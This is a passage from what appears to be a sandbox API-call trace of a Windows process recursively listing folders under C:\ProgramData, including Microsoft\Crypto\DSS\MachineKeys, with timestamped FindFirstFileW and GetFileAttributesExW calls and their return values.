lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0095.173] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0095.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0095.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0095.174] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Keyboard", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Keyboard", lpFilePart=0x0) returned 0x17 [0095.174] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Keyboard\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9318 [0095.174] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.174] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.174] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0095.174] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0095.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0095.174] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft", lpFilePart=0x0) returned 0x18 [0095.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0095.174] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft" (normalized: "c:\\programdata\\microsoft"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x90298a90, ftLastAccessTime.dwHighDateTime=0x1d3060f, ftLastWriteTime.dwLowDateTime=0x90298a90, ftLastWriteTime.dwHighDateTime=0x1d3060f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0095.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0095.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0095.174] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft", lpFilePart=0x0) returned 0x18 [0095.174] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9318 [0095.174] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.175] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.176] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.176] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.176] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.176] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.176] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.176] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.176] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.176] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0095.176] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0095.176] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0095.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0095.176] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x23 [0095.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.176] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance" (normalized: "c:\\programdata\\microsoft\\assistance"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.176] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x23 [0095.176] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9318 [0095.177] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.177] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.177] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.177] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.177] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2a [0095.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.177] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client" (normalized: "c:\\programdata\\microsoft\\assistance\\client"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.177] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2a [0095.177] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9318 [0095.177] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.177] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.177] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.178] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.178] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x2e [0095.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.178] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.178] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x2e [0095.178] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9318 [0095.178] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.178] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.178] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.178] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.178] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x34 [0095.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0095.178] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x6cfe9f4 | out: lpFileInformation=0x6cfe9f4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0095.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0095.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.178] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x34 [0095.179] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9318 [0095.179] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.179] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.179] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.179] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.179] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.180] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.180] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.180] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.180] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.180] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.180] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe51c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x34 [0095.180] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", lpFindFileData=0x6cfe72c | out: lpFindFileData=0x6cfe72c) returned 0x6fe9318 [0095.181] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.181] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.181] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.181] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.181] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.181] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.181] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.181] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.182] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.182] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.182] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x2e [0095.182] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe9318 [0095.182] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.182] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.182] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.182] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.183] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2a [0095.183] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9318 [0095.183] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.183] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.183] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.183] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.183] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x23 [0095.183] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9318 [0095.183] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.183] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.184] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.184] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.184] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x1f [0095.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.184] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto" (normalized: "c:\\programdata\\microsoft\\crypto"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.184] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x1f [0095.184] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fe9318 [0095.184] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.184] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.184] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.184] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.185] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.185] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.185] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x23 [0095.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.185] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS" (normalized: "c:\\programdata\\microsoft\\crypto\\dss"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.185] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x23 [0095.185] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe9318 [0095.185] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.185] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.185] FindNextFileW (in: hFindFile=0x6fe9318, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.185] FindClose (in: hFindFile=0x6fe9318 | out: hFindFile=0x6fe9318) returned 1 [0095.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.264] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x2f [0095.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.264] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\machinekeys"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, 